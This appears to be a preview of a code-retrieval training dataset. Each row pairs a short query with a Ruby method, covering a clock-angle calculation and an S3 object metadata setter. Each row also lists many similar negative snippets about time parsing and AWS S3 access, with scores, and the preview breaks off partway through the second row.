query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
sequencelengths 0
101
| negative_scores
sequencelengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
hour: 30/hr min: 6/min | def clock_angle(hour, minutes)
h = (hour % 12) * 30 + (minutes.to_f / 60) * 30
minute = minutes * 6
[(h - minute).abs, 360 - (h - minute).abs].min
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hour() end",
"def hours() 60 * minutes end",
"def rational_hour(seconds); end",
"def get_hour\n self.hr.strftime(\"%H\").to_i + self.hr.strftime(\"%M\").to_d/60\n end",
"def time_hour; Time.now.hour; end",
"def format_time_from_hour hour\n hrs = hour.to_i\n min = ((hour - hrs) * 60.0 + 0.5).to_i\n \"%2d:%02d\" % [hrs, min]\n end",
"def hour() time[0] end",
"def format_time(time)\n hour = time.hour\n min = time.min\n if min >= 30\n hour += 1\n min = 0\n else\n min = 30\n end\n\n d = Time.now\n Time.new(d.year,d.month,d.day,hour,min,0)\n\n end",
"def hour_thc\n hour = @t_hour\n hour -= 12 if hour > 12\n return hour\n end",
"def opening_hour\n 11 # 11am\n end",
"def end_of_hour\n change(min: 59, sec: 59.999)\n end",
"def rate_time\n hour = @session_time == 2 ? \"12:15\" : \"08:15\"\n DateTime.parse(hour)\n end",
"def hours ; self * 60.minutes ; end",
"def hours; self * HOUR; end",
"def hours; self * HOUR; end",
"def hour\n self.range('hour')\n end",
"def change_time(hour,min)\n Time.strptime(\"#{hour}:#{min}\", \"%H:%M\")\n end",
"def hour(date)\n h = date.minute >= 30 ? date.hour + 1 : date.hour\n time = [pad(h.to_s), '00'].join(':')\n [time, day(date)].join(' ')\n end",
"def ti(time)\n h, m = case time\n when String\n time.split(':').map(&:to_i)[0, 2]\n when Time\n [time.hour, time.min]\n when Date\n [time.hour, time.min]\n when DateTime\n [time.hour, time.min]\n else\n raise \"unsupported object of type #{time.class}: #{time.inspect}\"\n end\n\n # maybe remove later, sanity check\n raise \"time with granularity != 5 min: #{time}\" if m % interval_minutes != 0\n\n (h * 60 + m) / interval_minutes\n end",
"def opening_hour\n 11\n end",
"def handle_hh_mm\n handle_sign\n @tzhour = @tokens[@index].get_tag(ScalarHour).type\n next_tag\n next_tag\n @tzminute = @tokens[@index].get_tag(ScalarMinute).type\n next_tag\n end",
"def addHour(hour)\n addMin(hour * 60) ;\n end",
"def end_of_hour\n change(:min => 59, :sec => 59)\n end",
"def absolute_hour(seconds); end",
"def hours\n self.to_i * 3_600\n end",
"def hour\n hour? ? at_hour : super\n end",
"def hours\n \n end",
"def hours\n self * SECONDS_IN_HOUR\n end",
"def clock_hour24(clock)\n to_clock24(clock).hour\nend",
"def end_of_hour\n change(\n min: 59,\n sec: 59,\n usec: Rational(999999999, 1000)\n )\n end",
"def hour\n @hour ||= time_parts[0]\n end",
"def hour\n components.hour\n end",
"def time_of_day(min)\n if min<0\n min = min + (-(min/1440)*1440)\n end \n num_days = min/1440 \n if num_days > 1\n min = min - num_days*1440\n end \n hour = min/60\n minute = min.remainder(60)\n format('%02d', hour)\n p \"#{hour}:#{minute}\"\nend",
"def hour(system = :twenty_four_hour)\n hour = self.to_duration.to_units(:hour, :minute, :second).fetch(:hour)\n if system == :twelve_hour\n if hour == 0\n 12\n elsif hour > 12\n hour - 12\n else\n hour\n end\n elsif (system == :twenty_four_hour)\n hour\n else\n raise ArgumentError, \"system should be :twelve_hour or :twenty_four_hour\"\n end\n end",
"def hour\n return @t_hour\n end",
"def four_hours\n self.range('4hr')\n end",
"def determine_current_hour\n current_time = Time.new\n current_hour = current_time.hour\nend",
"def time_convert(num)\n hr, min = num.divmod(60)\n \"#{hr}:#{min}\"\nend",
"def end_of_hour\n change(\n :min => 59,\n :sec => 59,\n :usec => 999999.999\n )\n end",
"def getHour(mod = 24, unit = 1)\n return normalize(getMin(0,0)/60.0, mod, unit) ;\n end",
"def time_date_hm ; time_date && time_date.strftime(\"%H:%M\") ; end",
"def hours\n value_parts[0]\n end",
"def hours\n value_parts[0]\n end",
"def hours ; Duration[self * 3600] ; end",
"def convert_minutes_into_hours(minutes)\n hour = minutes / 60\n min = minutes % 60\nputs \" #{hour}:#{min}\"\nend",
"def hour_in\n @hour_in ||= time_in.hour\n end",
"def hours(num)\n t = current_time + num * SECONDS_IN_HOUR\n {\n type: :datetime,\n value: t.iso8601\n }\n end",
"def time_convert (num)\n hour = (num/60).to_s\n min = (num % 60).to_s\n puts hour + \":\"+ min\nend",
"def hour\n # seconds_since_start_of_day / H_SECS\n (seconds_since_start_of_day / H_SECS).to_i\n end",
"def determine_current_hour\n\tcurrent_time = Time.new\n\tcurrent_hour = current_time.hour\nend",
"def hour\n set_function_and_argument(:hour, nil)\n end",
"def time_of_day(min)\n while min < -1440; min += 1440 end\n while min > 1440; min -= 1440 end\n if min >= 0; h = min / 60 end\n if min < 0; h = 24 + (min / 60) end\n m = min % 60\n if h < 10; h = \"0\" + h.to_s else h = h.to_s end\n if m < 10; m = \"0\" + m.to_s else m = m.to_s end\n return h+\":\"+m\nend",
"def after_midnight(time)\n time_arr = time.split(':')\n hour = time_arr[0].to_i\n minutes = time_arr[1].to_i\n if hour == 24 && minutes == 0\n 0\n else\n minutes = minutes + ( hour * MINUTES_PER_HOUR )\n end\nend",
"def hour\n if @time\n @time.hour\n elsif @datetime\n @datetime.hour\n else\n to_time.hour\n end\n end",
"def hour\n if @time\n @time.hour\n elsif @datetime\n @datetime.hour\n else\n to_time.hour\n end\n end",
"def hour\n if @time\n @time.hour\n elsif @datetime\n @datetime.hour\n else\n to_time.hour\n end\n end",
"def time_of_day(min)\n hours_num, minutes = min.divmod(60)\n hour = hours_num % 24\n format(\"%02d:%02d\", hour, minutes)\nend",
"def hours\n _nudge[0]\n end",
"def after_midnight(str)\n str = str.split(\":\")\n h = str[0].to_i % 24\n m = str[1].to_i\n minutes = (h * 60) + m \nend",
"def hour\n @hour\n end",
"def clock_hour12(clock)\n to_clock12(clock).hour\nend",
"def minutes_to_hours(minutes)\n minutes / 60\nend",
"def middle_of_day\n change(hour: 12)\n end",
"def middle_of_day\n change(hour: 12)\n end",
"def hour_12\n self.strftime(\"%I:%M %p\")\n end",
"def hour_12\n self.strftime(\"%I:%M %p\")\n end",
"def hour_angle\n 0.5 * (self.hour * 60 + self.min)\n end",
"def get_time(integer_time_slot)\n\t\tif integer_time_slot > 60 * 12\n\t\t\tinteger_time_slot = integer_time_slot - 60 * 12\n\t\t\tminutes = integer_time_slot % 60\n\t\t\tminutes = if minutes < 10 then \"0#{minutes}\" else \"#{minutes}\" end\n\t\t\t(integer_time_slot / 60).to_s + \":\" + minutes + \" PM\"\n\t\telse\n\t\t\tminutes = integer_time_slot % 60\n\t\t\tminutes = if minutes < 10 then \"0#{minutes}\" else \"#{minutes}\" end\n\t\t\t(integer_time_slot / 60).to_s + \":\" + minutes + \" AM\"\n\t\tend\n\tend",
"def before_midnight(str)\n hour, minute = str.split(':').map(&:to_i)\n ( (23-hour) * 60 + (60-minute) ) % 1440\nend",
"def timeofday(input)\n input = input % 1440\n hour, min = input.divmod(60)\n format('%02d:%02d', hour, min)\nend",
"def set_time(hour, minute)\n hour = 0 if hour.negative?\n hour = 23 if hour > 23\n minute = 0 if minute.negative?\n minute = 59 if minute > 59\n time = Time.new(0, nil, nil, hour, minute, nil, nil)\n @hour = time.hour\n @minutes = time.min\n end",
"def min_hour(num)\n hour = (num / 60) % 24\n min = num % 60\n [hour, min]\nend",
"def time_of_day(minute)\n minute = minute % 1440\n minute += 1440 if minute < 0\n \"%02d:%02d\" %[minute/60, minute%60]\nend",
"def test_hr_min_rus\n time_string = '22:30 - 1:00'\n sumtime = SumTime.new(time_string)\n sumtime.output_format = :hr_min_rus\n assert_equal('02 ч. 30 мин.', sumtime.calculate_time)\n end",
"def parse_hour_24h(time)\n sounds_for_number(time.strftime(\"%k\"))\n end",
"def H; cat @time.strftime('%H') end",
"def before_midnight(str)\nhours, minutes = str.split(':').map{|char| char.to_i}\ntime = hours * MINUTES_PER_HOUR + minutes\ntime % MINUTES_PER_DAY\nend",
"def time_greetings\n if 5 <= Time.now.hour && Time.now.hour <= 12 \n puts \"good morning!\"\nelsif 12 <= Time.now.hour && Time.now.hour <= 18 \n puts \"good afternoon!\"\nelsif 18 <= Time.now.hour && Time.now.hour <= 20 \n puts \"good evening!\"\nelsif 20 <= Time.now.hour || Time.now.hour <= 5\n puts \"salutations comrade!\"\n end\nend",
"def TimeConvert(num)\n\nhour= num.div(60)\n min=num.remainder(60)\n \n return \"#{hour}\" + \":\" + \"#{min}\"\n \nend",
"def after_midnight(str)\n hours, minutes = str.split(\":\").map(&:to_i)\n \n hours < 24 ? (hours * 60) + minutes : 0\nend",
"def beginning_of_hour\n change(min: 0)\n end",
"def beginning_of_hour\n change(min: 0)\n end",
"def calculate_hours_minutes(output)\n return unless output =~ /up\\s+(\\d+):-?(\\d+),/\n\n SECS_IN_AN_HOUR * Regexp.last_match(1).to_i +\n SECS_IN_A_MINUTE * Regexp.last_match(2).to_i\n end",
"def time_length\n (end_time.hour - start_time.hour) + (end_time.min - start_time.min) / 60.0\n end",
"def after_midnight(time)\n hour,minute = time.split(':').map(&:to_i)\n \n return hour == 24 ?\n 0\n : ((hour * 60) + minute)\nend",
"def hours=(value)\n if value.to_s.include?(':')\n array = value.split(\":\")\n self.total_time = (array[0].to_i * 3600 + array[1].to_i * 60)\n else\n self.total_time = (value.to_f * 3600).to_i\n end\n end",
"def to_hours; Rational === @val ? @val/60/60 : @val/60.0/60 end",
"def time_to_solve\n 1.hour\n end",
"def hours\n fail \"A value is required for #{__method__}\" unless @value\n fail 'A value cannot be > 24' if @value > 24\n fail 'A value cannot be <= 0' if @value <= 0\n return 'daily' if @value == 24\n\n \"0/#{@value}:0:0\"\n end",
"def set_time(hr, min)\n time = self.current_time.split(\":\")\n time[0] = hr\n time[1] = min\n self.current_time = time.join(\":\")\n end",
"def time_conversion(minutes)\n\t # hours = 0\n\n # while minutes >= 60 do\n # if minutes >=60\n # hours += 1\n # minutes -=60\n # end\n # end\n\n\n # new_hour = hours.to_s\n # new_minutes = minutes.to_s\n\n \tmin = minutes % 60\n hours = minutes / 60\n\n if min < 10\n \tmin = '0'+min.to_s\n end\n\n \treturn hours.to_s + ':' + min.to_s\n\nend",
"def time_conversion(minutes)\n hr = 0\n min = 0\n \n while minutes >= 0\n if minutes >= 60\n minutes = minutes - 60\n hr = hr + 1\n elsif minutes < 10\n min = 0.to_s + minutes.to_s\n return hr.to_s + ':' + min.to_s\n else\n min = minutes\n return hr.to_s + ':' + min.to_s\n end\n end\nend",
"def end_hour_with_respecting_end_of_day\n if end_minute_without_respecting_end_of_day >= 59 and end_hour_without_respecting_end_of_day == 23\n 24\n else\n end_hour_without_respecting_end_of_day\n end\n end",
"def time_of_day(time)\n hour = (time % (24 * 60)) / 60\n minute = time % 60\n \n format('%02d:%02d',hour,minute)\nend",
"def day_and_time(minutes)\n day = MIDNIGHT + (minutes * 60)\n day.strftime(\"%A, %H:%M\")\nend",
"def after_midnight(time_str)\n count = 0\n hour, min = time_str.split ':'\n hour.to_i.times { count += 60 }\n count += min.to_i\n count % 1440\nend",
"def get_formatted_hour\n start_on.strftime(\"%H:%M\")\n end",
"def as_hours hours\n minutes = hours.to_f * 60.0\n sprintf \"%d:%02d\", (minutes / 60).to_i, (minutes % 60).to_i\n end",
"def time_of_day(input_minutes)\n if input_minutes < 0\n results = input_minutes.divmod(60)\n hours, minutes = (24 + results[0]), results[1]\n hours = hours % 24\n else\n hours, minutes = input_minutes.divmod(60)\n hours = hours % 24\n end\n format(\"%02d:%02d\",hours,minutes)\nend",
"def floor_hour(time)\n (Time.zone || Time).at((time.to_f/3600).floor * 3600)\n end",
"def format_time\n hours = format_hour @hour\n minutes = format_minute @minutes\n ampm = @hour < 12 ? @@ampm_hash['a'] : @@ampm_hash['p']\n time = ''\n time += hours[0] + minutes[0] + ' ' + ampm[0] + \"\\n\"\n time += hours[1] + minutes[1] + ' ' + ampm[1] + \"\\n\"\n time += hours[2] + minutes[2] + ' ' + ampm[2] + \"\\n\"\n time\n end"
] | [
"0.75423753",
"0.7453264",
"0.7431016",
"0.7131477",
"0.69997126",
"0.69784516",
"0.69754326",
"0.69168025",
"0.68943095",
"0.6868455",
"0.68495584",
"0.6845292",
"0.6817291",
"0.6796445",
"0.6794814",
"0.67586344",
"0.67505646",
"0.6736605",
"0.6700932",
"0.66988474",
"0.668564",
"0.6665034",
"0.66494983",
"0.6647743",
"0.66463506",
"0.6608988",
"0.6572944",
"0.65625346",
"0.65493757",
"0.6549009",
"0.6542052",
"0.64860505",
"0.6473627",
"0.64670783",
"0.6448908",
"0.64473426",
"0.64428174",
"0.644032",
"0.64380693",
"0.6433168",
"0.6400362",
"0.63982123",
"0.63982123",
"0.6386974",
"0.6381554",
"0.6368907",
"0.6365584",
"0.6359209",
"0.63445586",
"0.6344361",
"0.634137",
"0.6338098",
"0.6336789",
"0.63364476",
"0.63364476",
"0.63364476",
"0.63294595",
"0.6328112",
"0.6326873",
"0.63175255",
"0.6310836",
"0.63093233",
"0.6307775",
"0.6307775",
"0.63008404",
"0.63008404",
"0.6293914",
"0.62712973",
"0.6264408",
"0.6264328",
"0.62549555",
"0.625061",
"0.6246905",
"0.6246872",
"0.6244933",
"0.6244348",
"0.6242315",
"0.6242225",
"0.624067",
"0.62403077",
"0.6237519",
"0.6237519",
"0.62351555",
"0.62349457",
"0.6228879",
"0.6228202",
"0.62246114",
"0.62040836",
"0.6201016",
"0.6195191",
"0.6192761",
"0.6190628",
"0.61864245",
"0.61842567",
"0.6160543",
"0.61594945",
"0.61588943",
"0.61393094",
"0.6137287",
"0.613628",
"0.6134654"
] | 0.0 | -1 |
Returns the value for the given name stored in the S3Object's metadata: bucket.objects['myobject'].metadata['purpose'] returns nil if the given metadata key has not been set | def [] name
to_h[name.to_s]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def aws_S3_object_get_and_read(bucket, name)\n log \"AWS: getting S3Object 'name'\"\n object = aws_call('aws_S3_object_get', bucket: bucket, name: name)\n if aws_call('aws_obj_exists?', obj: object)\n log \"AWS: reading S3Object '#{object.key}'\"\n return aws_call('aws_S3_object_read', object: object)\n end\n return \"\"\n rescue AWS::S3::Errors::NoSuchKey => e\n return \"\"\n end",
"def aws_S3_object_get_and_read_no_log(bucket, name)\n object = aws_call('aws_S3_object_get', bucket: bucket, name: name)\n if aws_call('aws_obj_exists?', obj: object)\n return aws_call('aws_S3_object_read', object: object)\n end\n return \"\"\n rescue AWS::S3::Errors::NoSuchKey => e\n return \"\"\n end",
"def get_s3_object(bucket_name, object_name)\n s3_client = AWS::S3.new()\n bucket = s3_client.buckets[bucket_name]\n raise S3BucketNotFoundError.new(bucket_name) unless bucket.exists?\n\n object = bucket.objects[object_name]\n raise S3ArtifactNotFoundError.new(bucket_name, object_name) unless object.exists?\n object\n end",
"def read_info(uid)\n response = object(\"#{uid}.info\").get\n JSON.parse(response.body.string)\n rescue Aws::S3::Errors::NoSuchKey\n raise Tus::NotFound\n end",
"def read key = nil\n parse_json_allowing_quirks_mode s3_object(key).read\n rescue AWS::S3::Errors::NoSuchKey\n nil\n end",
"def read(key)\n bucket.objects[key].read\n rescue AWS::S3::Errors::NoSuchKey\n nil\n end",
"def object_details(bucket_name:, key:)\n s3_client.get_object(bucket: bucket_name, key: key).to_h\n end",
"def name\n metadata['itemName'] rescue nil\n end",
"def s3_object\n @s3_object ||= bucket.objects[full_key]\n end",
"def get_object_meta_data(bucket_name, key)\n send_request(HEAD, bucket_name, {}, key)\n end",
"def s3_object\n attached_file&.storage&.object(file.id)\n end",
"def get(key)\n s3_read key\n end",
"def get_aws(name)\n buckets.fetch(name)\n rescue KeyError\n puts \"No S3 bucket named #{name}\"\n exit\n end",
"def aws_S3_bucket_get(opts)\n AWS::S3.new.buckets[opts[:name]]\n end",
"def object_data(bucket_name, key, &block)\n send_s3_request('GET', :bucket => bucket_name, :key => key) do |response|\n if block_given?\n response.read_body &block\n return true\n else\n return response.body\n end\n end\n end",
"def get_name_from_metadata(metadata_path)\n metadata = JSON.parse(File.read(metadata_path), symbolize_names: true)\n metadata[:name]\n end",
"def get_s3_bucket_object(bucket_name)\n resource.bucket(bucket_name)\n end",
"def value(key, bucket = nil, options = {}, &block)\n\n return s3_value(key,bucket,options,&block) if not S3FileCache.enabled?\n\n if cached_local? key, bucket\n #return cached object\n read_cache(key,bucket,options)\n else\n #1. open normal S3 file\n value = s3_value(key,bucket,options) #omitting the block for now\n\n #2. save local to file_path! (make parent directories)\n cache_local(value,key,bucket,options)\n\n #3. return the value object\n value\n end\n end",
"def get_metadata bucket_name:, file_name:\n # The ID of your GCS bucket\n # bucket_name = \"your-unique-bucket-name\"\n\n # The ID of your GCS object\n # file_name = \"your-file-name\"\n\n require \"google/cloud/storage\"\n\n storage = Google::Cloud::Storage.new\n bucket = storage.bucket bucket_name\n file = bucket.file file_name\n\n puts \"Name: #{file.name}\"\n puts \"Bucket: #{bucket.name}\"\n puts \"Storage class: #{bucket.storage_class}\"\n puts \"ID: #{file.id}\"\n puts \"Size: #{file.size} bytes\"\n puts \"Created: #{file.created_at}\"\n puts \"Updated: #{file.updated_at}\"\n puts \"Generation: #{file.generation}\"\n puts \"Metageneration: #{file.metageneration}\"\n puts \"Etag: #{file.etag}\"\n puts \"Owners: #{file.acl.owners.join ','}\"\n puts \"Crc32c: #{file.crc32c}\"\n puts \"md5_hash: #{file.md5}\"\n puts \"Cache-control: #{file.cache_control}\"\n puts \"Content-type: #{file.content_type}\"\n puts \"Content-disposition: #{file.content_disposition}\"\n puts \"Content-encoding: #{file.content_encoding}\"\n puts \"Content-language: #{file.content_language}\"\n puts \"KmsKeyName: #{file.kms_key}\"\n puts \"Event-based hold enabled?: #{file.event_based_hold?}\"\n puts \"Temporary hold enaled?: #{file.temporary_hold?}\"\n puts \"Retention Expiration: #{file.retention_expires_at}\"\n puts \"Custom Time: #{file.custom_time}\"\n puts \"Metadata:\"\n file.metadata.each do |key, value|\n puts \" - #{key} = #{value}\"\n end\nend",
"def get_name_from_metadata(metadata_path)\n metadata = JSON.parse(File.read(metadata_path), symbolize_names: true)\n metadata[:name]\n end",
"def get_object!(bucket_name, key, **opts)\n bucket = get_bucket!(bucket_name, **opts)\n obj = bucket.file(key)\n return obj if obj\n raise ObjectNotFoundError.new(\n \"Object \\\"#{key}\\\" not found in bucket \\\"#{bucket.name}\\\"\"\n )\n end",
"def value\n if meta_key.is_dynamic?\n case meta_key.label\n when \"uploaded by\"\n return media_resource.user\n when \"uploaded at\"\n return media_resource.created_at #old# .to_formatted_s(:date_time) # TODO media_resource.upload_session.created_at ??\n when \"copyright usage\"\n copyright = media_resource.meta_data.get(\"copyright status\").value.first || Meta::Copyright.default # OPTIMIZE array or single element\n return copyright.usage(read_attribute(:value))\n when \"copyright url\"\n copyright = media_resource.meta_data.get(\"copyright status\").value.first || Meta::Copyright.default # OPTIMIZE array or single element\n return copyright.url(read_attribute(:value))\n #when \"public access\"\n # return media_resource.acl?(:view, :all)\n #when \"media type\"\n # return media_resource.media_type\n #when \"gps\"\n # return media_resource.media_file.meta_data[\"GPS\"]\n end\n else\n case meta_key.object_type\n when \"Meta::Copyright\", \"Meta::Department\", \"Person\"\n meta_references.map(&:reference) #.map(&:to_s)\n when \"Meta::Term\", \"Meta::Keyword\"\n meta_keywords.map(&:meta_term) #.map(&:to_s)\n when \"Meta::Date\"\n meta_dates.map(&:to_s).join(' - ')\n when \"Meta::Country\"\n text\n else\n text\n end\n end\n end",
"def s3_object\n @s3_object ||= AWS::S3::S3Object.find(key, bucket) if self.class.open_aws && key\n rescue\n nil\n end",
"def object_details(bucket_name:, key:)\n file = get_object!(bucket_name, key)\n [:etag, :content_type].each_with_object({}) do |file_method, memo|\n memo[file_method] = file.send file_method\n end\n end",
"def run_me\r\n bucket_name = 'doc-example-bucket'\r\n object_key = 'my-file.txt'\r\n metadata = {\r\n author: 'Mary Doe',\r\n version: '1.0.0.0'\r\n }\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n if object_uploaded_with_metadata?(\r\n s3_client,\r\n bucket_name,\r\n object_key,\r\n metadata\r\n )\r\n puts \"Object '#{object_key}' uploaded to bucket '#{bucket_name}' \" \\\r\n 'with metadata.'\r\n else\r\n puts \"Object '#{object_key}' not uploaded to bucket '#{bucket_name}'.\"\r\n end\r\nend",
"def get(name)\n data[name]\n end",
"def get_attribute(name)\n str = name.to_s\n \n # try fetching an instance variable first\n value = instance_variable_get(\"@#{str}\")\n return value unless value.nil?\n \n # not an instance variable -- try fetching from @metadata\n load_metadata unless @metadata_loaded\n value = @metadata[str]\n return value unless value.nil?\n \n # not in metadata under that name -- is there another variant?\n alternate_name = nil\n self.class.md_key_map.each do |md_name, var_name|\n if str == md_name.to_s\n alternate_name = var_name.to_s\n break\n end\n end\n \n # if we couldn't find anything, return nil\n return nil if alternate_name.nil?\n \n # otherwise, try looking in metadata using the alternate name\n # if this doesn't work, we'll just let the method return nil\n @metadata[alternate_name]\n end",
"def read(uid)\n object = bucket.objects[uid]\n data = object.read\n meta = Serializer.json_decode(object.metadata[:json])\n [\n data, # can be a String, File, Pathname, Tempfile\n meta # the same meta Hash that was stored with write\n ]\n end",
"def object_uploaded_with_metadata?(\r\n s3_client,\r\n bucket_name,\r\n object_key,\r\n metadata\r\n)\r\n response = s3_client.put_object(\r\n bucket: bucket_name,\r\n body: \"c:\\\\my-file.txt\",\r\n key: object_key,\r\n metadata: metadata\r\n )\r\n if response.etag\r\n return true\r\n else\r\n return false\r\n end\r\nrescue StandardError => e\r\n puts \"Error uploading object: #{e.message}\"\r\n return false\r\nend",
"def get_item_data_by_name(name)\n _item_property = @items.find{|item| item['Name'] == name}\n if _item_property.nil?\n nil\n else\n _item_property['Data']\n end\n end",
"def custom_field_value_for_name(name)\n return custom_fields[name.to_s][\"value\"] if custom_fields[name]\n return 'nil' # if no name found\n end",
"def get_value name\n get name\n end",
"def method_missing(name, *args)\n obj = find(name.to_s)\n if obj\n return obj.value\n else\n return nil\n end\n end",
"def s3_read(key)\n obj = @s3.get_object bucket: ENV.fetch(\"AWS_BUCKET\"), key: key\n obj.body.read\n end",
"def value\n key_escaped = Object.escape_key(@key)\n \n if block_given?\n @s3.request_get(\"/#{@bucket.name}/#{key_escaped}\") do |response|\n @s3.error?(response)\n response.read_body {|chunk| yield chunk }\n end\n else\n response = @s3.request_get(\"/#{@bucket.name}/#{key_escaped}\")\n @s3.error?(response)\n \n return response.body\n end\n end",
"def get_tagvalue(object, tagkey)\n value = \"\"\n if object[:tag_set]\n object[:tag_set].each do |tag|\n if tag[:key] == tagkey\n value = tag[:value]\n break\n end\n end\n end\n \n value\n end",
"def find(key, bucket = nil)\n # N.B. This is arguably a hack. From what the current S3 API exposes, when you retrieve a bucket, it\n # provides a listing of all the files in that bucket (assuming you haven't limited the scope of what it returns).\n # Each file in the listing contains information about that file. It is from this information that an S3Object is built.\n #\n # If you know the specific file that you want, S3 allows you to make a get request for that specific file and it returns\n # the value of that file in its response body. This response body is used to build an S3Object::Value object. \n # If you want information about that file, you can make a head request and the headers of the response will contain \n # information about that file. There is no way, though, to say, give me the representation of just this given file the same \n # way that it would appear in a bucket listing.\n #\n # When fetching a bucket, you can provide options which narrow the scope of what files should be returned in that listing.\n # Of those options, one is <tt>marker</tt> which is a string and instructs the bucket to return only object's who's key comes after\n # the specified marker according to alphabetic order. Another option is <tt>max-keys</tt> which defaults to 1000 but allows you\n # to dictate how many objects should be returned in the listing. With a combination of <tt>marker</tt> and <tt>max-keys</tt> you can\n # *almost* specify exactly which file you'd like it to return, but <tt>marker</tt> is not inclusive. In other words, if there is a bucket\n # which contains three objects who's keys are respectively 'a', 'b' and 'c', then fetching a bucket listing with marker set to 'b' will only\n # return 'c', not 'b'. \n #\n # Given all that, my hack to fetch a bucket with only one specific file, is to set the marker to the result of calling String#previous on\n # the desired object's key, which functionally makes the key ordered one degree higher than the desired object key according to \n # alphabetic ordering. This is a hack, but it should work around 99% of the time. I can't think of a scenario where it would return\n # something incorrect.\n \n # We need to ensure the key doesn't have extended characters but not uri escape it before doing the lookup and comparing since if the object exists, \n # the key on S3 will have been normalized\n key = key.remove_extended unless key.valid_utf8?\n bucket = Bucket.find(bucket_name(bucket), :marker => key.previous, :max_keys => 1)\n # If our heuristic failed, trigger a NoSuchKey exception\n if (object = bucket.objects.first) && object.key == key\n object \n else \n raise NoSuchKey.new(\"No such key `#{key}'\", bucket)\n end\n end",
"def get_meta_name_or_property(element)\n name_or_property = element.attributes[\"name\"] ? \"name\" : (element.attributes[\"property\"] ? \"property\" : nil)\n content_or_value = element.attributes[\"content\"] ? \"content\" : (element.attributes[\"value\"] ? \"value\" : nil)\n \n if !name_or_property.nil? && !content_or_value.nil?\n @data.meta.name[element.attributes[name_or_property].value.downcase] = element.attributes[content_or_value].value\n end\n end",
"def name\n object[\"name\"]\n end",
"def read_metadata_field(field_name)\n @client.get(\"#{metadata_path}/#{field_name}\")\n end",
"def get_tag_by_name(name)\n @aws_instance_data.tags.each do |tag_data|\n return tag_data.value if tag_data.key == name\n end\n nil\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end"
] | [
"0.66533184",
"0.62448925",
"0.6151701",
"0.6122699",
"0.61079687",
"0.6071108",
"0.5996848",
"0.5821205",
"0.5781572",
"0.5750607",
"0.5730542",
"0.5709119",
"0.5682097",
"0.5656706",
"0.56445724",
"0.56240183",
"0.56022084",
"0.55683345",
"0.55645674",
"0.553961",
"0.5538935",
"0.5538511",
"0.55204666",
"0.55106544",
"0.5477629",
"0.5410109",
"0.53713876",
"0.5362616",
"0.53504914",
"0.5344574",
"0.53233635",
"0.5318081",
"0.5303929",
"0.53022707",
"0.52768093",
"0.527453",
"0.5273179",
"0.5265395",
"0.5260379",
"0.5259222",
"0.5252152",
"0.5234866",
"0.5234866",
"0.5234866",
"0.5234866",
"0.5234866",
"0.5234866",
"0.5234866",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695",
"0.52342695"
] | 0.0 | -1 |
Changes the value of the given name stored in the S3Object's metadata: object = bucket.object['myobject'] object.metadata['purpose'] = 'research' object.metadata['purpose'] => 'research' | def []= name, value
raise "cannot change the metadata of an object version; "+
"use S3Object#write to create a new version with different metadata" if
@version_id
metadata = to_h.dup
metadata[name.to_s] = value
object.copy_from(object.key,
:metadata => metadata)
value
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
